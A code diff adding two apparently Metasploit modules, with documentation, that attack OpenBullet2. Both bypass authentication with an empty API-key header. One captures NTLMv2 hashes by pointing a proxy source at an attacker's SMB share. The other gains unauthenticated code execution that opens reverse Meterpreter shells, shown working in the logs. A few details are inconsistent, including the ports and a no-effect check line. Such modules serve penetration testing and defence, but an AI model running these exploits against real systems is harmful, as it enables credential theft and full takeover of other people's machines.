diff --git a/documentation/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.md b/documentation/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.md new file mode 100644 index 0000000000000..3e476a223e8ba --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.md @@ -0,0 +1,53 @@ +## Vulnerable Application + +This Metasploit module exploits a Credential Disclosure vulnerability in OpenBullet2 on Windows. + +An attacker can force the application to disclose the NTLMv2 hash of the process user by configuring a job proxy source with a malicious UNC path. When the job starts, the application attempts to load proxies from the specified path via SMB, allowing the hash to be captured for offline cracking or relaying. + +The affected versions include releases from 0.2.5. + +## Setup + +### Windows + +1. Download [OpenBullet2.Web-win-x64.zip](https://github.com/openbullet/OpenBullet2/releases/download/0.3.3.3093/OpenBullet2.Web-win-x64.zip) and unpack +2. Run +``` +.\OpenBullet2.Web.exe --urls "http://0.0.0.0:5000" +``` + +### Set Authentication + +Authentication is turned off by default. +You need to set it to check bypass. + +1. Go to http://127.0.0.1:8069/settings +2. Click "Change admin password" and set any password +3. Turn "Require admin login" on +4. Save + +## Scenario + +``` +msf > use scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908 +msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > set SRVHOST eth0 +SRVHOST => 192.168.19.153 +msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > set RHOST 192.168.19.154 +RHOST => 192.168.19.154 +msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > set RPORT 5000 +RPORT => 5000 +msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > run +[*] Running module against 192.168.19.154 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] OpenBullet2 Instance OS: Microsoft Windows NT 10.0.19044.0 +[+] The target appears to be vulnerable. Detected version 0.3.3.3093, which is vulnerable +[*] Server is running. Listening on 192.168.19.153:445 +[*] The SMB service has been started. +[*] Listening for hashes on 192.168.19.153:445 +[SMB] NTLMv2-SSP Client : 192.168.19.154 +[SMB] NTLMv2-SSP Username : DESKTOP-1E5TEED\admin +[SMB] NTLMv2-SSP Hash : admin::DESKTOP-1E5TEED:[HASH] + +[*] Server stopped. +[*] Auxiliary module execution completed +``` \ No newline at end of file diff --git a/documentation/modules/exploit/multi/http/openbullet2_unauth_rce_cve_2026_25856.md b/documentation/modules/exploit/multi/http/openbullet2_unauth_rce_cve_2026_25856.md new file mode 100644 index 0000000000000..75c3a16cdd860 --- /dev/null +++ b/documentation/modules/exploit/multi/http/openbullet2_unauth_rce_cve_2026_25856.md @@ -0,0 +1,100 @@ +## Vulnerable Application + +This Metasploit module exploits an Unauthenticated Remote Code Execution (RCE) vulnerability in OpenBullet2. + +Attackers can leverage the plain C# execution mode, which lacks reference filtering or API restrictions, to access the file system, spawn processes, and invoke arbitrary .NET APIs as the process user. + +The affected versions include releases from 0.2.5. + +## Setup + +### Linux + +1. Set up +``` +docker run --name openbullet2 --rm -p 5000:5000 -it openbullet/openbullet2:0.3.2 +``` + +### Windows + +1. Download [OpenBullet2.Web-win-x64.zip](https://github.com/openbullet/OpenBullet2/releases/download/0.3.3.3093/OpenBullet2.Web-win-x64.zip) and unpack +2. Run +``` +.\OpenBullet2.Web.exe --urls "http://0.0.0.0:5000" +``` + +### Set Authentication + +Authentication is turned off by default. +You need to set it to check bypass. + +1. Go to http://127.0.0.1:8069/settings +2. Click "Change admin password" and set any password +3. Turn "Require admin login" on +4. Save + +## Scenario + +### Linux + +``` +msf > use exploit/multi/http/openbullet2_unauth_rce_cve_2026_25856 +[*] Using configured payload +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set target 1 +target => 1 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set RPORT 8069 +RPORT => 8069 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set LHOST docker0 +LHOST => 172.17.0.1 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > run +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] OS: Debian GNU/Linux 12 (bookworm) +[+] The target appears to be vulnerable. Detected version 0.3.2, which is vulnerable +[*] Sending stage (3090404 bytes) to 172.17.0.2 +[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:40666) at 2026-06-06 06:38:56 -0400 + +meterpreter > sysinfo +Computer : 67393a3c15a2 +OS : Debian 12.7 (Linux 6.18.12+kali-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: root +``` + +### Windows + +``` +msf > use exploit/multi/http/openbullet2_unauth_rce_cve_2026_25856 +[*] Using configured payload +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set RHOSTS 192.168.19.154 +RHOSTS => 192.168.19.154 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set RPORT 5000 +RPORT => 5000 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set target 2 +target => 2 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set LHOST eth0 +LHOST => eth0 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > run +[*] Started reverse TCP handler on 192.168.19.153:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] OS: Microsoft Windows NT 10.0.19044.0 +[+] The target appears to be vulnerable. Detected version 0.3.3.3093, which is vulnerable +[*] Sending stage (232006 bytes) to 192.168.19.154 +[*] Meterpreter session 1 opened (192.168.19.153:4444 -> 192.168.19.154:50388) at 2026-06-06 03:42:13 -0400 + +meterpreter > sysinfo +Computer : DESKTOP-1E5TEED +OS : Windows 10 21H2 (10.0 Build 19044). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > getuid +Server username: DESKTOP-1E5TEED\admin +``` \ No newline at end of file diff --git a/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb b/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb new file mode 100644 index 0000000000000..268dfc407081a --- /dev/null +++ b/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb @@ -0,0 +1,280 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::SMB::Server::Share + include Msf::Exploit::Remote::SMB::Server::HashCapture + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'OpenBullet2 NTLMv2 Hash Disclosure via UNC Path Proxy Source', + 'Description' => %q{ + This Metasploit module exploits a Credential Disclosure vulnerability in OpenBullet2 on Windows. + + An attacker can force the application to disclose the NTLMv2 hash of the process user by configuring a job proxy source with a malicious UNC path. + When the job starts, the application attempts to load proxies from the specified path via SMB, allowing the hash to be captured for offline cracking or relaying. + + The affected versions include releases from 0.2.5. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Maksim Rogov', # Vulnerability Discovery & Metasploit Module + ], + 'References' => [ + ['CVE', 'CVE-2026-25555'], + ['CVE', 'CVE-2026-39908'], + ['URL', 'https://hackernoon.com/one-empty-header-to-admin-how-an-auth-bypass-breaks-openbullet2'] + ], + 'DisclosureDate' => '2026-06-04', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'Path to the OpenBullet2 App', '/']), + ] + ) + end + + def check + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'info', 'update'), + 'method' => 'GET', + 'headers' => { 'X-Api-Key' => '' } + ) + + Exploit::CheckCode::Safe('The server returned 401 status code, the version is not vulnerable') + + json_body = res.get_json_document + unless json_body + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') + end + + unless json_body.key?('currentVersion') + fail_with(Failure::UnexpectedReply, "#{peer} - currentVersion key not found in response") + end + + version = Rex::Version.new(json_body['currentVersion']) + if version >= Rex::Version.new('0.2.5') + server_info = get_server_info + target_os = server_info['operatingSystem'] + print_status("OpenBullet2 Instance OS: #{target_os}") + + Exploit::CheckCode::Detected("Detected version #{version}, which is vulnerable. But you can't use module, because it only for windows.") if target_os !~ /windows/i + return Exploit::CheckCode::Appears("Detected version #{version}, which is vulnerable") + end + + Exploit::CheckCode::Safe("Detected version #{version}, which is not vulnerable") + end + + def create_config + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'), + 'method' => 'POST', + 'headers' => { 'X-Api-Key' => '' } + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + + json_body = res.get_json_document + unless json_body + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') + end + + unless json_body.key?('id') + fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") + end + + json_body['id'] + end + + def get_configs + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config', 'all'), + 'method' => 'GET', + 'headers' => { 'X-Api-Key' => '' } + ) + + json_body = res.get_json_document + unless json_body + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') + end + + json_body + end + + def create_job(config_id, proxy_path) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'multi-run'), + 'method' => 'POST', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'data' => { + 'startCondition' => { + '_polyTypeName' => 'relativeTimeStartCondition' + }, + 'configId' => config_id, + 'proxyMode' => 'on', + 'dataPool' => { + '_polyTypeName' => 'rangeDataPool', + 'wordlistType' => 'Default', + 'start' => 1, + 'amount' => 1, + 'step' => 1 + }, + 'proxySources' => [ + { + '_polyTypeName' => 'fileProxySource', + 'fileName' => proxy_path, + 'defaultType' => 'http' + } + ] + }.to_json + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + + json_body = res.get_json_document + unless json_body + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') + end + + unless json_body.key?('id') + fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") + end + + json_body['id'] + end + + def start_job(job_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'start'), + 'method' => 'POST', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'data' => { 'jobId' => job_id, 'wait' => false }.to_json + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + end + + def abort_job(job_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'abort'), + 'method' => 'POST', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'data' => { 'jobId' => job_id, 'wait' => false }.to_json + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + end + + def delete_job(job_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job'), + 'method' => 'DELETE', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'vars_get' => { id: job_id } + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + end + + def delete_config(config_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'), + 'method' => 'DELETE', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'vars_get' => { id: config_id } + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + end + + def get_server_info + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'info', 'server'), + 'method' => 'GET', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json' + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + + json_body = res.get_json_document + unless json_body + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') + end + + unless json_body.key?('operatingSystem') + fail_with(Failure::UnexpectedReply, "#{peer} - operatingSystem key not found in response") + end + + json_body + end + + def cleanup + super + delete_config(@config_id) if @config_source == :created + abort_job(@job_id) + delete_job(@job_id) if !@job_id.nil? + end + + def run + configs = get_configs + @config_id, @config_source = + if configs.empty? + [create_config, :created] + else + [configs.sample['id'], :default] + end + + unc_share = Faker::Lorem.word + unc_fname = Faker::Lorem.word + unc_path = "\\\\#{srvhost}\\\\#{unc_share}\\\\#{unc_fname}.txt" + @job_id = create_job(@config_id, unc_path) + + start_smb_capture_server + start_job(@job_id) + + Rex::ThreadSafe.sleep(5) + end + + def start_smb_capture_server + start_service + print_status('The SMB service has been started.') + print_status("Listening for hashes on #{srvhost}:#{srvport}") + end + +end diff --git a/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb b/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb new file mode 100644 index 0000000000000..85d1cbe8e6fce --- /dev/null +++ b/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb @@ -0,0 +1,292 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Post::Common + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'OpenBullet2 Unauthenticated RCE via Config Configuration Interface', + 'Description' => %q{ + This Metasploit module exploits an Unauthenticated Remote Code Execution (RCE) vulnerability in OpenBullet2. + + Attackers can leverage the plain C# execution mode, which lacks reference filtering or API restrictions, to access the file system, spawn processes, and invoke arbitrary .NET APIs as the process user. + + The affected versions include releases from 0.2.5. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Maksim Rogov', # Vulnerability Discovery & Metasploit Module + ], + 'References' => [ + ['CVE', 'CVE-2026-25555'], + ['CVE', 'CVE-2026-25856'], + ['URL', 'https://hackernoon.com/one-empty-header-to-admin-how-an-auth-bypass-breaks-openbullet2'] + ], + 'Targets' => [ + [ + 'OpenBullet2 >= 0.2.5 / Automatic', + { + 'Type' => :auto, + 'DefaultOptions' => { 'PAYLOAD' => '' } + } + ], + [ + 'OpenBullet2 >= 0.2.5 / Unix Command', + { + 'Platform' => ['unix', 'linux'], + 'Type' => :unix, + 'Arch' => [ARCH_CMD], + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' } + # Tested with cmd/unix/reverse_bash + # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ], + [ + 'OpenBullet2 >= 0.2.5 / Windows Command', + { + 'Platform' => ['windows'], + 'Type' => :windows, + 'Arch' => [ARCH_CMD], + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp' } + # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp + } + ], + ], + 'Payload' => { + 'BadChars' => '\\' + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2022-11-02', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'Path to the OpenBullet2 App', '/']), + ] + ) + end + + def check + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'info', 'update'), + 'method' => 'GET', + 'headers' => { 'X-Api-Key' => '' } + ) + + json_body = res.get_json_document + unless json_body + return CheckCode::Unknown("#{peer} - Unable to parse JSON response.") + end + + unless json_body.key?('currentVersion') + return CheckCode::Unknown("#{peer} - 'currentVersion' key not found in response.") + end + + version = Rex::Version.new(json_body['currentVersion']) + if version >= Rex::Version.new('0.2.5') + @target_os = get_server_info + return CheckCode::Appears("Detected version #{version} (#{@target_os}), which is vulnerable") + end + + CheckCode::Safe("Detected version #{version}, which is not vulnerable") + end + + def create_config + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'), + 'method' => 'POST', + 'headers' => { 'X-Api-Key' => '' } + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + + json_body = res.get_json_document + unless json_body + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') + end + + unless json_body.key?('id') + fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") + end + + json_body['id'] + end + + def pick_target + return target if target['Type'] != :auto + + if @target_os.nil? + begin + @target_os = get_server_info + rescue RuntimeException => e + fail_with(Failure::BadConfig, 'Could not determine target OS for automatic targeting.') + end + end + + @target_os =~ /windows/i ? targets[2] : targets[1] + end + + def update_config(config_id) + target = pick_target + + flags = '{ UseShellExecute = false, CreateNoWindow = true, RedirectStandardOutput = true, RedirectStandardError = true }' + case target['Type'] + when :unix + cmd = "System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo(\"/bin/bash\", \"-c \\\"#{payload.encoded}\\\"\")#{flags});" + when :windows + cmd = "System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo(\"cmd.exe\", @\"/c \"\"#{payload.encoded}\"\"\")#{flags});" + end + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'), + 'method' => 'PUT', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'data' => { + 'id' => config_id, + 'metadata' => {}, + 'settings' => {}, + 'startupLoliCodeScript' => cmd + }.to_json + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + end + + def create_job(config_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'multi-run'), + 'method' => 'POST', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'data' => { + 'startCondition' => { + '_polyTypeName' => 'relativeTimeStartCondition' + }, + 'configId' => config_id, + 'proxyMode' => 'off', + 'dataPool' => { + '_polyTypeName' => 'rangeDataPool', + 'wordlistType' => 'Default', + 'start' => 1, + 'amount' => 1, + 'step' => 1 + } + }.to_json + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + + json_body = res.get_json_document + unless json_body + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') + end + + unless json_body.key?('id') + fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") + end + + json_body['id'] + end + + def start_job(job_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'start'), + 'method' => 'POST', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'data' => { 'jobId' => job_id, 'wait' => false }.to_json + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + end + + def delete_job(job_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job'), + 'method' => 'DELETE', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'vars_get' => { id: job_id } + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + end + + def delete_config(config_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'), + 'method' => 'DELETE', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'vars_get' => { id: config_id } + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + end + + def get_server_info + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'info', 'server'), + 'method' => 'GET', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json' + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + + json_body = res.get_json_document + unless json_body + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') + end + + unless json_body.key?('operatingSystem') + fail_with(Failure::UnexpectedReply, "#{peer} - operatingSystem key not found in response") + end + + json_body['operatingSystem'] + end + + def cleanup + super + delete_job(@job_id) if !@job_id.nil? + delete_config(@config_id) if !@config_id.nil? + end + + def exploit + @config_id = create_config + update_config(@config_id) + @job_id = create_job(@config_id) + start_job(@job_id) + end + +end